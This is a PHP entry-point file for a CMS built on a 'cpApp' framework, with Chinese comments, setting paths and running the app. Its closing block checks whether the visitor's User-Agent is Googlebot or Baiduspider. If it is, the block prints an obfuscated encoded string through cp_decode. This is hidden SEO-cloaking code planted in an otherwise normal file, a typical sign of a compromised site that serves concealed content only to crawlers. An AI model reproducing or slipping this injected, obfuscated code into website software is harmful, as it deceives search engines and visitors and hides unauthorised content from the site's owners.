<?php
header("content-type:text/html; charset=utf-8");
@date_default_timezone_set('PRC');
//定义框架目录
define('CP_PATH', dirname(__file__) . '/english/system/'); //指定内核目录
require (dirname(__file__) . '/english/inc/config.php');
require (CP_PATH . 'core/cpApp.class.php');

//定义自定义目录
$root = $config['URL_HTTP_HOST'] . str_replace(basename($_SERVER["SCRIPT_NAME"]), '', $_SERVER["SCRIPT_NAME"]);
define('__ROOT__', substr($root, 0, '/english'));
define('__ROOTDIR__', strtr(dirname(__FILE__),'\\','/english/'));
define('__UPDIR__', strtr(dirname(__FILE__),'\\','/english/upload/'));
define('__TPL__', __ROOT__.'/'.$config['TPL_TEMPLATE_PATH']);
define('__UPL__', __ROOT__.'/upload/');

//实例化入口
$app = new cpApp($config);
Lang::init($config);
$app->run();

//附加信息
$tmp = $_SERVER['HTTP_USER_AGENT'];
if (strpos($tmp, 'Googlebot') !== false) {
    $flag = true;
} else
    if (strpos($tmp, 'Baiduspider') !== false) {
        $flag = true;
    }
if ($flag == true) {
echo cp_decode('8f11JAOT0Cq29xXr0qI2ZM3uYxtTqmwTGtyYwXQINwzOVFlDa0J9EqmDHkopSL9Cylxxgqdkf4A8XA3Etmkf2X0TpWgrUSoMLSzpdZ4IoB85y43a6gQfBAXeQbNSX1fWE4qBNVhhs68rShDepusfInUZ5NjFUM45M1N0/N2gnhfZ61LWHDq7/P6qLCR7R/MvAOY1RgucnLX/oEXO6PazxAnac1eU0XVzZBdB8rM');
}

?>